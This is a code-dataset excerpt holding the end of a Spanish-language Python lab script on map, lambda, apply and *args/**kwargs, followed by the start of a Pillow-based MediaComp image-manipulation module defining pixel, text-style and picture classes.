'M' else 1, genero )  )\n\n\n\nNSE = ['A', 'A', 'C', 'B', 'C']\n\nlist( map( lambda x: 3 if x == 'A' else (2 if x == 'B' else 1), NSE )  )\n\n\n\n# Más ejemplos #\n\nvector = np.arange(100)\n\nmap( lambda x: np.sqrt(x) - np.mean(vector), vector ) \n\nlist( map( lambda x: np.sqrt(x) - np.mean(vector), vector)   )    \n\nnp.sqrt(vector) - np.mean(vector)\n\n\n'''\nEjemplos\n'''\n\n\n'''\nFunción 1\n'''\n\ndef cube(x):\n    \n    out = x*(1/3) - 0.5*x\n    \n    return out \n\nlist( map( lambda x: cube(x) , vector)   )  \n\n\n'''\nFunción 2, de estandarización\n'''\n\ndef sdv(x,mean,sd):\n    \n    out = (x-mean)/sd\n    \n    return out \n\n\nlist( map( lambda x, mean = np.mean(vector), sd = np.std(vector): sdv(x,mean,sd) , vector)  )  \n\n\n# función explicita en la función lambda\n\n\nlist( map( lambda x: (x - np.mean(vector))/np.std(vector), vector)  )  \n\n\n\n'''\nFunción 3, If statement\n\nValores menos a 50 asigne el numero 1 y asignar missing values para valores mayor i igual a 50\n'''\n\nvector = np.arange(100)\n\ndef function2(x):\n    \n    if x < 50:\n         out = 1\n    else:\n         out = np.nan # Missing values\n\n    return out \n\nlist( map( lambda x: function2(x) , vector)   )\n\n\n'''\nFunción 4, extrae lo numeros de un texto\n\nLa función extrae los numeros de texto\n\n'''\n\ntexto_vector = np.array([\"Municipio San Luis: 12450\",\"Municipio La victoria: 1450\",\n                         \"Municipio La Molina: 3550\",\"Municipio Ate: 506\"])\n\n\nlist( map( lambda x: int(re.sub('\\D',\"\", x)) , texto_vector)   )\n\n# \\D : todo menos numero\n\n# import re (regular expression)\n\n\n# \\D: significa todo menos a los dígitos\n\n\n# re.sub( patron de texto, sustitución, texto)\n\n#%% apply_along_axis - Matrix\n\n''' Loop replacement in Matrix '''\n\nnp.random.seed(15632)\nx1 = np.random.normal(0,1,500) # normal distribution\nx2 = np.random.normal(0,1,500) # normal distribution \nx3 = np.random.normal(0,1,500) # normal distribution\nx4 = np.random.normal(0,1,500) # normal distribution\n\n\nX = np.column_stack((np.ones(500),x1,x2,x3,x4))\n\nprint(X.shape)\n\n'''\n\nEn el caso de aplicar funciones como mean, std, y entre otros se puede aplicar pro filas o columnas\n\naxis = 0 se aplica la función a cada columa\naxis = 1 se aplica la función por filas\n\nNumpy apply for matrix\n\nnumpy.apply_along_axis(func1d, axis, arr, *args, **kwargs)\n \n'''\n\n# mead y desviación estandar por columnas\n\n\nnp.mean(X, axis=0)   # axis = 0 (se aplica por columnas)\nnp.std(X, axis=0)\n\n# mead y desviación estandar por filas\n\nnp.mean(X, axis=1) \nlen( np.mean(X, axis=1) )\nnp.std(X, axis=1)\n\n\n'''\n\nDos formas de estandarizar una matriz \n\n'''\n\n \nXNormed = (X - np.mean(X, axis=0))/np.std(X, axis=0)\n\n            \ndef standarize(x):\n       out = (x - np.mean(x))/np.std(x)\n          \n       return out\n   \nX_std_2 = np.apply_along_axis(standarize, 0, X)\n    \n# axis = 0, se aplicará la función a los elementos de cada columna\n\n\n#%% Apply - Dataframe\n\n'''\n We use US census data from the year 2012 to analyse the effect of gender \n and interaction effects of other variables with gender on wage jointly.\n The dependent variable is the logarithm of the wage, the target variable is *female*\n (in combination with other variables). All other variables denote some other \n socio-economic characteristics, e.g. marital status, education, and experience. \n For a detailed description of the variables we refer to the help page.\n '''\n \n\ncps2012_env = pyreadr.read_r(\"../../data/cps2012.Rdata\") # output formato diccionario\n\n\ncps2012_env  # es un diccionario. En la llave \"data\" está la base de datos \ncps2012 = cps2012_env[ 'data' ] # extrae información almacenada en la llave data del diccionario cps2012_env\ndt = cps2012.describe()\n \n# Borrar variables constantes \n\nvariance_cols = cps2012.var().to_numpy() # to numpy\n\nX = cps2012.iloc[ : ,  np.where( variance_cols != 0   )[0] ]\n\n# np.where( variance_cols != 0   ) resulta la posición de lasa columnas con varianza != 0\n\n#np.where( variance_cols != 0   )[0] # array\n\n# np.where() permite obtener la posición de columnas que cumplen la condición\n\n# Retirar la media de las variables \n\ndef demean(x):\n    dif = x - np.mean( x ) # tima la media de la columna \n    return dif \n\nX = X.apply( demean, axis = 0 )  # axis :0 se aplica la función por columna\n\n\n###############################################################################\n\n\n# Segundo ejemplo de base de datos \n\ndatos = pd.read_csv(\"../../data/BDD_compras_consumidores.csv\", sep = \";\")\n\ndatos['Channel'].value_counts()\n\n\ndatos['Region'].value_counts()\n\n\ndatos.info()\n\n# Convertimos a categórica el nombre de las columnas:\n\ndatos['Channel'] = datos['Channel'].astype(\"category\")\ndatos['Region'] = datos['Region'].astype(\"category\")\n\ndatos.info()\n\n\n# Apply #\n\n# Las ventas totales por tipo de producto \n\ndatos.iloc[:,2:8].apply(lambda x: sum(x), axis = 0)  # axis = 0 , operación a nivel columna\n\n# \"iloc\" permite seleccionar filas o columnas usando sus posiciones.\n\n# ventas total por cada observación\n\ndatos['ventas'] = datos.iloc[:,2:8].apply(lambda x: sum(x), axis = 1) # axis = 0 , operación a nivel fila\n\n#datos['ventas'] = datos['milk'] + datos['fresh']+ datos['grocery'] (poco eficiente)\n\n# promedio por tipo de producto\n\ndatos.iloc[:,2:8].apply(lambda x: np.mean(x), axis = 0)\n\n# minimo valor de la venta por tipo de producto \n\ndatos.iloc[:,2:8].apply(lambda x: np.min(x), axis = 0)\n\n# máximo valor de la venta por tipo de producto \n\ndatos.iloc[:,2:8].apply(lambda x: np.max(x), axis = 0)\n\n# cambio de moneda\n\ndatos2 = datos.iloc[:,2:8].apply(lambda x: x/3.9)\n\n\n\n#datos3 = pd.concat([datos.iloc[:,:2],datos2], axis = 1) # se une a nivel columna o de forma horizontal\n\n\n\n#%% *args \n\n\"\"\"\nThe special syntax *args in function definitions in python is used to pass a variable number \nof arguments to a function. The object *args is a tuple that contains all the arguments.\n When you build your code, you should consider *args as a tuple.\n\"\"\"\n\n'''\n*args : tipo tuple o array\n'''\n\n\"Keyword: *args, incluir una cantidad variable de argumentos\"\n\n\ndef calculator(x,y,w,z,a,b):\n    \n    return x+y+w+z+a+b\n\ncalculator(10,15)\n\n\n\n\ndef calculator( *args ):\n    \n    print( f\"args is a {type( args )}\" )\n    \n    \n    vector = np.array( list(args) )  # *args : tuple\n    \n    minimo = np.min(vector)\n    \n    maximo = np.max(vector)\n    \n    prod = np.prod(vector)\n    \n    \n    return prod, minimo, maximo, args\n\n\ncalculator( 8, 9, 100, 3, 5, 51,58)\n\n\n\n'''\n*args se puede usar otro nombre siempre que se use * al inicio\n'''\n\n\ndef calculator( *list_vars ):\n    \n    print( f\"args is a {type( list_vars )}\" )\n    \n    \n    vector = np.array( list_vars )  # *args : tuple\n    \n    minimo = np.min(vector)\n    \n    maximo = np.max(vector)\n    \n    result = np.prod(vector)\n    \n    \n    return result, minimo, maximo\n\n\ncalculator( 8, 9, 50, 40, 10, 1)\n\n\n#%%  **Kwargs\n\n\n'''\n**Kwargs is an acronym of keyword arguments. \nIt works exactly like *Args but instead of accepting a variable number of positional arguments, \nit accepts a variable number of keyword or named arguments.\n'''\n\n'''\n**kwargs: tipo diccionario \n'''\n\ndef calculator( *list_vars, **kwargs):\n    \n    print( type( list_vars ) )\n    print( type( kwargs ) )\n    \n    if ( kwargs[ 'function' ] == \"media\" ) :\n        \n        # Get the first value\n        result = np.mean( list_vars )\n    \n    elif ( kwargs[ 'function' ] == \"adicion\" ) :\n\n        result = sum(list_vars)\n        \n    elif ( kwargs['function'] == \"median\"):\n        \n        result = np.median(list_vars)  # *list_vars \n    \n    \n    else:\n        raise ValueError( f\"The function argument {kwargs[ 'function' ]} is not supported.\" )\n        \n        # Mensaje de error por tipo de argumento\n\n    return result\n\n\ncalculator( 4, 5, 6, 7, 8, function = \"adicion\" )\n\n\n\ncalculator( 4, 5, 6, function = \"media\" )\n\n\ncalculator(100,300,50, function = \"adicion\")\n\n\n\ncalculator(100,300,50, function = \"median\")\n\n\ncalculator(100,300,50, function = \"varainza\")\n\n# calculator( 4, 5, 6, 7, 8, function = \"inversa\" )\n\n\n\ncalculator( np.arange(10), function = \"media\" )\n\n\n\n\n'''\nExample using dataset cps2012\n'''\n\n\n\ndef transform(Data, *select, **function) -> pd.DataFrame: #output DataFrame \n    \n    select = list(select)  # se transforma a una lista\n    Data_select = Data[select] # se filtra por columnas \n    \n    if function['method'] == \"demean\":\n        \n        X = Data_select.apply(lambda row: row - np.mean(row), axis =0)\n        \n    elif function['method'] == \"estandarize\":\n        \n        X = Data_select.apply(lambda row: (row - np.mean(row))/np.std(row), axis =0)\n        \n    return X\n\n\ntransform(cps2012, \"lnw\", \"exp1\",\"exp2\", method = \"estandarize\")\n\ntransform(cps2012, \"lnw\", \"exp1\",\"exp2\", \"exp3\", \"exp4\", method = \"demean\")\n\n\n\n","repo_name":"Robertopucp/1ECO35_2023_1","sub_path":"Lectures/Lecture_3/Lab3_spyder.py","file_name":"Lab3_spyder.py","file_ext":"py","file_size_in_byte":9723,"program_lang":"python","lang":"es","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"28949223942","text":"#\n# Package: MediaComp\n# Module: pictures\n# Author: Paul Buis, 00pebuis@bsu.edu\n#\n# Derived from source code, power point slides, and media (pictures, movies, sounds) from\n# http://mediacomputation.org created by Mark Guzdial and Barbara Ericson\n# licensed under the Creative Commons Attribution 3.0 United States License,\n# See: http://creativecommons.org/licenses/by/3.0/us/).\n\"\"\"\nModule docstring goes here!\n\"\"\"\n# module base64 is standard in Python 3: https://docs.python.org/3/library/base64.html\n# using base64.b64encode in Picture.to_base64\nimport base64\n\n# module io is standard in Python 3: https://docs.python.org/3/library/io.html\n# using io.BytesIO in Picture.to_base64\nimport io\n\nimport os\n\nimport pathlib\n\nimport collections.abc\n\n\n# module typing is standard in Python 3.5+: https://docs.python.org/3/library/typing.html\n# used for type hints used in static type checking in PEP 484\n# PEP 484 -- Type Hints: https://www.python.org/dev/peps/pep-0484/\n# PEP 525 -- Syntax for Variable Annotations: https://www.python.org/dev/peps/pep-0526/\n# use mypy for static type checking of Pyhton code: http://mypy-lang.org/\n# note that just because a parameter is annotated to be of a specific type, doesn't mean\n# that at runtime it will actually be of that type: dynamic checking or casting/conversion\n# still needs to be done\nimport typing\n\n# PIL refers to the Pillow library installed by default in the Anaconda distribution of Python\n# PIL is the Python Image Library, Pillow is a fork of PIL\n# For documentation on Pillow, see: https://pillow.readthedocs.io/en/stable/\n\n# suppress static type checker complain \"error: No library stub file for module 'PIL.Image'\"\nimport PIL.Image  # type: ignore\n# suppress static type checker complain \"error: No library stub file for module 'PIL.ImageDraw'\"\nimport PIL.ImageDraw  # type: ignore\n# suppress static type checker complain \"error: No library stub file for module 'PIL.ImageFont'\"\nimport PIL.ImageFont  # type: ignore\n# suppress static type checker complain \"error: No library stub file for module 'PIL.PyAccess'\"\nfrom PIL.PyAccess import PyAccess as PixelAccess  # type: ignore\n\n# suppress static type checker complain \"error: No library stub file for\n# module 'matplotlob.font_manager'\"\n# suppress static type checker complain \"error: No library stub file for module 'matplotlob'\"\nimport matplotlib.font_manager  # type: ignore\n\n# The IPython.core.display module is specific to IPython which is used in Jupyter\n# See https://ipython.readthedocs.io/en/stable/api/generated/IPython.display.html\n# import IPython.core.display\n\n# import the color and file modules in this package\nfrom . import colors\nfrom . import files\n\n# make the names in the color and file modules public to\n# consumers of this module so they don't have to import colors module also\nColors = colors.Colors\nColor = colors.Color\n\n\ndef set_media_path(path: typing.Optional[str] = None) -> bool:\n    \"\"\"\n    forwards to files.set_media_path so module that imports this module\n    does not have to import files module also\n\n    :param path:\n    :return:\n    :rtype bool:\n    \"\"\"\n    return files.set_media_path(path)\n\n\ndef media_path(filename: typing.Optional[str]) -> pathlib.Path:\n    \"\"\"\n    forwards to files.media_path so module that imports this module\n    does not have to import files module also\n\n    :param Optional[str] filename:\n    :return:\n    :rtype pathlib.Path:\n    \"\"\"\n    return files.media_path(filename)\n\n\n# Type aliases\nRGB = typing.Tuple[int, int, int]\nImageSize = typing.Tuple[int, int]\nPoint = typing.Tuple[int, int]\nPointSequence = typing.Sequence[Point]\nBaseRGB = colors.BaseRGB\nPixelInfoTuple = typing.Tuple[Point, RGB]\nTransform = typing.Callable[['PixelInfo'], Color]\nTransform2 = typing.Callable[[PixelInfoTuple], PixelInfoTuple]\nPredicate = typing.Callable[['PixelInfo'], bool]\nCombine = typing.Callable[['PixelInfo', 'PixelInfo'], Color]\n\n\ndef type_error_message(fun_name: str, param_name: str, expected: str, actual: typing.Any) -> str:\n    \"\"\" generates error message for TypeError \"\"\"\n    return f\"In MediaComp.pictures.{fun_name}: {param_name} \" +\\\n           f\"expected a {expected}, actually {type(actual)}\"\n\n\nclass PixelInfo(colors.Color):\n    \"\"\"\n    Class level docstring goes here\n    \"\"\"\n\n    def __init__(self, xy: Point, rgb: typing.Optional[RGB] = None):\n        super().__init__(rgb=rgb)\n        self._xy: Point = (int(xy[0]), int(xy[1]))\n\n    # Overrides Color.__repr__\n    def __repr__(self) -> str:\n        return f\"PixelInfo(xy = ({self.x}, {self.y}), \" + \\\n               f\"pixel_color = Color(red={self.red}, green={self.green}, blue={self.blue}))\"\n\n    # Overrides Color.__str__\n    def __str__(self) -> str:\n        return f\"Pixel(red={self.red}, green={self.green}, \" + \\\n               f\"blue={self.blue}, x={self.x}, y={self.y})\"\n\n    @property\n    def color(self) -> colors.Color:\n        \"\"\"\n        Write better docstring\n\n        :type: colors.Color\n        \"\"\"\n        rgb: RGB = self.rgb\n        return colors.Color(rgb[0], rgb[1], rgb[2])\n\n    @property\n    def x(self) -> int:  # pylint: disable=invalid-name\n        \"\"\"\n        Write better docstring\n\n        :type: int\n        \"\"\"\n        return int(self._xy[0])\n\n    @property\n    def y(self) -> int:  # pylint: disable=invalid-name\n        \"\"\"\n        Write better docstring\n\n        :type: int\n        \"\"\"\n        return int(self._xy[1])\n\n\nclass Pixel(PixelInfo):\n    \"\"\"\n    Class level docstring goes here\n    \"\"\"\n\n    def __init__(self, xy: Point, pixel_access: PixelAccess):\n        self.__pixel_access: PixelAccess = pixel_access\n        super().__init__(xy)\n\n    # Overrides PixelInfo.__str__ method\n    def __str__(self) -> str:\n        return f\"Pixel(xy=({self.x}, {self.y}), Color(r={self.red}, g={self.green}, b={self.blue}))\"\n\n    @property\n    def color(self) -> colors.Color:\n        \"\"\"\n        Write better docstring\n\n        :type: colors.Color\n        \"\"\"\n        rgb: RGB = self.__pixel_access[self._xy]\n        return colors.Color(rgb[0], rgb[1], rgb[2])\n\n    @color.setter\n    def color(self, rgb: colors.BaseRGB) -> None:\n        if not isinstance(rgb, colors.BaseRGB):\n            raise TypeError\n        self.rgb = rgb.rgb\n\n    # Overrides BaseRGB.red property getter\n    @property\n    def red(self) -> int:\n        \"\"\"\n        Write better docstring\n\n        :type: int\n        \"\"\"\n        return self.rgb[0]\n\n    @red.setter\n    def red(self, value: int) -> None:\n        value = min(255, max(0, int(value)))\n        rgb: RGB = self.__pixel_access[self._xy]\n        self.__pixel_access[self._xy] = (value, rgb[1], rgb[2])\n\n    # Overrides BaseRGB.green property getter\n    @property\n    def green(self) -> int:\n        \"\"\"\n        Write better docstring\n        :type: int\n        \"\"\"\n        return self.rgb[1]\n\n    @green.setter\n    def green(self, value: int) -> None:\n        value = min(255, max(0, int(value)))\n        rgb: RGB = self.__pixel_access[self._xy]\n        self.__pixel_access[self._xy] = (rgb[0], value, rgb[2])\n\n    # Overrides BaseRGB.blue property getter\n    @property\n    def blue(self) -> int:\n        \"\"\"\n        Write better docstring\n\n        :type: int\n        \"\"\"\n        return self.rgb[2]\n\n    @blue.setter\n    def blue(self, value: int) -> None:\n        value = min(255, max(0, int(value)))\n        rgb: RGB = self.__pixel_access[self._xy]\n        self.__pixel_access[self._xy] = (rgb[0], rgb[1], value)\n\n    # Overrides BaseRGB.rgb property getter\n    @property\n    def rgb(self) -> RGB:\n        \"\"\"\n        Write better docstring\n\n        :type: RGB\n        \"\"\"\n        rgb: RGB = self.__pixel_access[self._xy]\n        return int(rgb[0]), int(rgb[1]), int(rgb[2])\n\n    @rgb.setter\n    def rgb(self, value: RGB) -> None:\n        self.__pixel_access[self._xy] = value\n\n\nclass TextStyle:\n    \"\"\"\n    Class-level docstring goes here\n    \"\"\"\n\n    @staticmethod\n    def find_font_file(query: str) -> typing.Optional[str]:\n        \"\"\"\n        Write better docstring\n\n        :param str query:\n        :return:\n        \"\"\"\n        matches = list(filter(lambda path: query in os.path.basename(path),\n                              matplotlib.font_manager.findSystemFonts()))\n        if len(matches) == 0:\n            return None\n        return matches[0]\n\n    def __init__(self, font_name: str, emphasis: str, size: float):\n        \"\"\"\n        Write better docstring\n\n        :param font_name:\n        :param emphasis:\n        :param size:\n        \"\"\"\n        self.__font_name = str(font_name)\n        font_file: typing.Optional[str] = TextStyle.find_font_file(self.__font_name)\n        # TODO: emphasis still ignored in font searching\n        self.__emphasis = str(emphasis)\n        self.__size = float(size)\n        self.__font: PIL.ImageFont.ImageFont = PIL.ImageFont.truetype(font_file, self.__size)\n\n    @property\n    def font_name(self) -> str:\n        \"\"\"\n        name of font used to draw with\n\n        :type: str\n        \"\"\"\n        return self.__font_name\n\n    @property\n    def font(self) -> PIL.ImageFont.ImageFont:\n        \"\"\"\n        Write better docstring\n\n        :type: PIL.ImageFont.ImageFont\n        \"\"\"\n        return self.__font\n\n    @property\n    def emphasis(self) -> str:\n        \"\"\"\n        kind of emphasis to use, 'bold', 'italic', 'bold + italic'\n\n        :type: str\n        \"\"\"\n        return self.__emphasis\n\n    @property\n    def size(self) -> float:\n        \"\"\"\n        size of font in points\n\n        :type: float\n        \"\"\"\n        return self.__size\n\n\n# class PILImage has no pixel-level operations and is agnostic about how many and what kind\n# of channels are in the image. Such things will be found in subclasseses of PILImage\nclass PILImage:\n    \"\"\"\n    Class level docstring\n    \"\"\"\n    def __init__(self, pil_image: PIL.Image.Image):\n        self._pil_image = pil_image\n\n    @property\n    def height(self) -> int:\n        \"\"\"\n        height of image in pixels\n\n        :type: int\n        \"\"\"\n        image_height = self._pil_image.height\n        return int(image_height)\n\n    @property\n    def width(self) -> int:\n        \"\"\"\n        width of image in pixels\n\n        :type: int\n        \"\"\"\n        image_width = self._pil_image.width\n        return int(image_width)\n\n    @property\n    def size(self) -> ImageSize:\n        \"\"\"\n        (height, width) tuple\n\n        :type: ImageSize\n        \"\"\"\n        return self.height, self.width\n\n    # overriden by Picture subclass\n    def copy(self) -> 'PILImage':\n        \"\"\"\n        Makes a deep copy of this object\n\n        :return: the copy\n        :rtype PILImage:\n        \"\"\"\n        return PILImage(self._pil_image.copy())\n\n    def set_color(self, color: colors.BaseRGB = colors.Colors.black):\n        \"\"\"\n        Write better docstring\n\n        :param color:\n        :return:\n        \"\"\"\n        draw = PIL.ImageDraw.Draw(self._pil_image)\n        draw.rectangle([(0, 0), (self.width, self.height)], fill=color)\n\n    def copy_into(self, big_picture: 'PILImage', left: int, top: int):\n        \"\"\"\n        Write better docstring\n\n        :param big_picture:\n        :param int left:\n        :param int top:\n        :return:\n        \"\"\"\n        big_picture._pil_image.paste(self._pil_image, (left, top))  # pylint: disable=protected-access\n\n    def add_arc(self, x: int, y: int,  # pylint: disable=invalid-name;  # pylint: disable=too-many-arguments\n                width: int, height: int,\n                start: float, angle: float,\n                color: colors.BaseRGB = colors.Colors.black\n                ) -> None:\n        \"\"\"\n        Write better docstring\n\n        :param int x:\n        :param int y:\n        :param int width:\n        :param int height:\n        :param float start:\n        :param float angle:\n        :param colors.Color color:\n        :raises TypeError:\n        \"\"\"\n        x = int(x)  # pylint: disable=invalid-name\n        y = int(y)  # pylint: disable=invalid-name\n        width = int(width)\n        height = int(height)\n        start = float(start)\n        angle = float(angle)\n        if not isinstance(color, colors.BaseRGB):\n            raise TypeError(type_error_message(\"PILImage.add_arc\", \"c\", \"Color\", color))\n\n        fill_color: RGB = color.rgb\n        draw = PIL.ImageDraw.Draw(self._pil_image)\n        bounding_box: PointSequence = [(x, y), (x + width, y + height)]\n        draw.arc(bounding_box, start=start, end=start+angle, fill=fill_color, width=1)\n\n    def add_arc_filled(self, x: int, y: int,  # pylint: disable=invalid-name;  # pylint: disable=too-many-arguments\n                       width: int, height: int,\n                       start: float, angle: float,\n                       color: colors.BaseRGB = colors.Colors.black\n                       ) -> None:\n        \"\"\"\n        Write better docstring\n\n        :param int x:\n        :param int y:\n        :param int width:\n        :param int height:\n        :param float start:\n        :param float angle:\n        :param colors.Color color:\n        :raises TypeError:\n        \"\"\"\n        x = int(x)  # pylint: disable=invalid-name\n        y = int(y)  # pylint: disable=invalid-name\n        width = int(width)\n        height = int(height)\n        start = float(start)\n        angle = float(angle)\n        if not isinstance(color, colors.BaseRGB):\n            raise TypeError(type_error_message(\"PILImage.add_arc_filled\", \"color\", \"Color\", color))\n        fill_color: RGB = color.rgb\n        bounding_box: PointSequence = [(x, y), (x + width, y + height)]\n        draw = PIL.ImageDraw.Draw(self._pil_image)\n        draw.pieslice(bounding_box, start=start, end=start+angle, fill=fill_color, width=1)\n\n    def add_line(self, start_x: int, start_y: int,  # pylint: disable=too-many-arguments\n                 width: int, height: int,\n                 color: colors.BaseRGB = colors.Colors.black\n                 ) -> None:\n        \"\"\"\n        Write better docstring\n\n        :param int start_x:\n        :param int start_y:\n        :param int width:\n        :param int height:\n        :param colors.Color color:\n        :raises TypeError:\n        \"\"\"\n        start_x = int(start_x)\n        start_y = int(start_y)\n        width = int(width)\n        height = int(height)\n        if not isinstance(color, colors.BaseRGB):\n            raise TypeError(type_error_message(\"PILImage.add_line\", \"color\", \"Color\", color))\n        bounding_box: PointSequence = [(start_x, start_y), (start_x + width, start_y + height)]\n        draw = PIL.ImageDraw.Draw(self._pil_image)\n        draw.line(bounding_box, fill=color.rgb, width=1)\n\n    def add_oval(self, center_x: int, center_y: int,  # pylint: disable=too-many-arguments\n                 width: int, height: int,\n                 color: colors.BaseRGB = colors.Colors.black\n                 ) -> None:\n        \"\"\"\n        Write better docstring\n        :param int center_x:\n        :param int center_y:\n        :param int width:\n        :param int height:\n        :param colors.Color color:\n        :raises TypeError:\n        \"\"\"\n        center_x = int(center_x)\n        center_y = int(center_y)\n        width = int(width)\n        height = int(height)\n        if not isinstance(color, colors.BaseRGB):\n            raise TypeError(type_error_message(\"PILImage.add_oval\", \"color\", \"Color\", color))\n        bounding_box: PointSequence = [(center_x, center_y), (center_x + width, center_y + height)]\n        draw = PIL.ImageDraw.Draw(self._pil_image)\n        draw.ellipse(bounding_box, outline=color.rgb, width=1)\n\n    def add_oval_filled(self, center_x: int, center_y: int,  # pylint: disable=too-many-arguments\n                        width: int, height: int,\n                        color: colors.BaseRGB = colors.Colors.black\n                        ) -> None:\n        \"\"\"\n        Write better docstring\n\n        :param int center_x:\n        :param int center_y:\n        :param int width:\n        :param int height:\n        :param colors.Color color:\n        :raises TypeError:\n        \"\"\"\n        center_x = int(center_x)\n        center_y = int(center_y)\n        width = int(width)\n        height = int(height)\n        if not isinstance(color, colors.BaseRGB):\n            raise TypeError(type_error_message(\"PILImage.add_oval_filled\", \"color\", \"Color\", color))\n        left_top = (center_x - width//2, center_y - height//2)\n        right_bottom = (center_x + width//2, center_y + width//2)\n        bounding_box = [left_top, right_bottom]\n        draw = PIL.ImageDraw.Draw(self._pil_image)\n        draw.ellipse(bounding_box, outline=color.rgb, fill=color.rgb, width=1)\n\n    def add_rect(self, left: int, top: int,  # pylint: disable=too-many-arguments\n                 width: int, height: int,\n                 color: colors.BaseRGB = colors.Colors.black\n                 ) -> None:\n        \"\"\"\n        Takes a picture, a starting (left, top) position (two numbers),\n        a width and height (two more numbers, four total),\n        and (optionally) a color as input. Adds a rectangular outline of the\n        specified dimensions using the (left,top) as the upper left corner.\n        Default color is black.\n\n        Wrapped by for :py:func:`.jes.addRect` function.\n\n        :param int left:\n        :param int top:\n        :param int width:\n        :param int height:\n        :param colors.Color color:\n        :raises TypeError:\n        \"\"\"\n        left = int(left)\n        top = int(top)\n        width = int(width)\n        height = int(height)\n        if not isinstance(color, colors.BaseRGB):\n            raise TypeError(type_error_message(\"PILImage.add_rect\", \"color\", \"Color\", color))\n        draw = PIL.ImageDraw.Draw(self._pil_image)\n        draw.rectangle([(left, top), (left + width, top + height)], outline=color.rgb, width=1)\n\n    def add_rect_filled(self, left: int, top: int, width: int, height: int,  # pylint: disable=too-many-arguments\n                        color: colors.BaseRGB = colors.Colors.black\n                        ) -> None:\n        \"\"\"\n        Write better docstring\n\n        :param int left:\n        :param int top:\n        :param int width:\n        :param int height:\n        :param colors.Color color:\n        :raises TypeError:\n        \"\"\"\n        left = int(left)\n        top = int(top)\n        width = int(width)\n        height = int(height)\n        if not isinstance(color, colors.BaseRGB):\n            raise TypeError(type_error_message(\"PILImage.add_rect_filled\", \"color\", \"Color\", color))\n        draw = PIL.ImageDraw.Draw(self._pil_image)\n        draw.rectangle([(left, top), (left+width, top+height)], fill=color.rgb, width=1)\n\n    def add_text(self, x_pos: int, y_pos: int, text: str,\n                 color: colors.BaseRGB = colors.Colors.black\n                 ) -> None:\n        \"\"\"\n        Write better docstring\n\n        :param int x_pos:\n        :param int y_pos:\n        :param str text:\n        :param colors.Color color:\n        :raises TypeError\n        \"\"\"\n        x_pos = int(x_pos)\n        y_pos = int(y_pos)\n        text = str(text)\n        if not isinstance(color, colors.BaseRGB):\n            raise TypeError(type_error_message(\"PILImage.add_text\", \"color\", \"Color\", color))\n        draw = PIL.ImageDraw.Draw(self._pil_image)\n        draw.text((x_pos, y_pos), text, fill=color.rgb)\n\n    def add_text_with_style(self, x_pos: int, y_pos: int,  # pylint: disable=too-many-arguments\n                            text: str, style: TextStyle,\n                            color: colors.BaseRGB = colors.Colors.black\n                            ) -> None:\n        \"\"\"\n        Write better docstring\n\n        :param int x_pos:\n        :param int y_pos:\n        :param str text:\n        :param str style:\n        :param colors.Color color:\n        :raises TypeError:\n        \"\"\"\n        x_pos = int(x_pos)\n        y_pos = int(y_pos)\n        text = str(text)\n        if not isinstance(color, colors.BaseRGB):\n            raise TypeError(type_error_message(\"PILImage.add_text_styled\",\n                                               \"color\", \"Color\", color))\n        if not isinstance(style, TextStyle):\n            raise TypeError(type_error_message(\"PILImage.add_text_styled\",\n                                               \"style\",\n                                               \"TextStyle\", style))\n        draw: PIL.ImageDraw.ImageDraw = PIL.ImageDraw.Draw(self._pil_image)\n        draw.text((x_pos, y_pos), text, font=style.font, fill=color.rgb)\n\n\n#\n# Picture operates on files containing RGB images\n#\n# All interactions with the filesystem should be here\n# not in superclasses\n#\n# class Picture adds pixel-level operations to PILImage\n# and works only with 3-channel 8-bit/channel images\n#\nclass Picture(PILImage, collections.abc.Iterable):\n    \"\"\"\n    Class-level docstrings\n    \"\"\"\n    def __init__(self, pil_image: PIL.Image.Image):\n        if pil_image.mode == \"RGB\":\n            super().__init__(pil_image)\n        else:\n            super().__init__(pil_image.convert(mode=\"RGB\"))\n        self.__pixel_access: PIL.PyAccess.PyAccess = self._pil_image.load()\n\n    @classmethod\n    def from_file(cls, filename: typing.Union[str, os.PathLike]) -> 'Picture':\n        \"\"\"\n        Write better docstring\n\n        :param filename:\n        :return:\n        :rtype: Picture\n        \"\"\"\n        if not isinstance(filename, os.PathLike):\n            filename = files.media_path(str(filename))\n        img = PIL.Image.open(filename)\n        img.load()\n        return cls(img)\n\n    @classmethod\n    def make_empty(cls, width: int, height: int,\n                   color: colors.BaseRGB = colors.Colors.black) -> 'Picture':\n        \"\"\"\n        Write better docstring\n\n        :param int width:\n        :param int height:\n        :param colors.Color color:\n        :return:\n        :rtype: Picture\n        \"\"\"\n        height = int(height)\n        width = int(width)\n        if not isinstance(color, colors.BaseRGB):\n            raise TypeError(type_error_message(\"setAllPixelsToAColor\", \"color\", \"Color\", color))\n        return cls(PIL.Image.new(\"RGB\", (width, height), color.rgb))\n\n    def __str__(self) -> str:\n        return \"<image> size:\" + str(self.size)\n\n    def _repr_html_(self) -> str:\n        return '<img src=\"' + self.to_base64() + '\" />'\n\n    # TODO: fix it so it uses IPython display mechanism for PNG rather than HTML\n    # def _repr_png_(self):\n    #    pass\n\n    def __getitem__(self, key: Point) -> Pixel:\n        index_x = int(key[0])\n        index_y = int(key[1])\n\n        if index_x >= self.width:\n            index_x = self.width - 1\n        if index_y >= self.height:\n            index_y = self.height - 1\n        if index_x < 0:\n            index_x = 0\n        if index_y < 0:\n            index_y = 0\n        return Pixel((index_x, index_y), self.__pixel_access)\n\n    def __setitem__(self, key: Point, value: colors.BaseRGB) -> None:\n        index_x = int(key[0])  # pylint: disable=invalid-name\n        index_y = int(key[1])  # pylint: disable=invalid-name\n\n        # silently discard value if out of range, is that really a good thing?\n        if index_x < 0 or index_x >= self.width:\n            return\n        if index_y < 0 or index_y >= self.height:\n            return\n\n        if not isinstance(value, colors.BaseRGB):\n            raise TypeError(type_error_message(\"Picture.setitem\", \"value\", \"Color\", value))\n\n        self.__pixel_access[index_x, index_y] = value.rgb\n\n    def __iter__(self) -> typing.Iterator[Pixel]:\n        for j in range(self.height):\n            for i in range(self.width):\n                yield Pixel((i, j), self.__pixel_access)\n\n    def to_base64(self) -> str:\n        \"\"\"\n        convert to base64 string of bytes in PNG encoding\n\n        :return:\n        \"\"\"\n        file_like_backed_by_byte_buffer = io.BytesIO()\n        self._pil_image.save(file_like_backed_by_byte_buffer, format='PNG', optimize=True)\n        unencoded_byte_buffer = file_like_backed_by_byte_buffer.getvalue()\n        encoded_byte_buffer = base64.b64encode(unencoded_byte_buffer)\n        base64_string = str(encoded_byte_buffer)[2:-1]  # discard \"b'\" and beginning and \"'\" at end\n        return 'data:image/png;base64,' + base64_string\n\n    # TODO test this\n    def 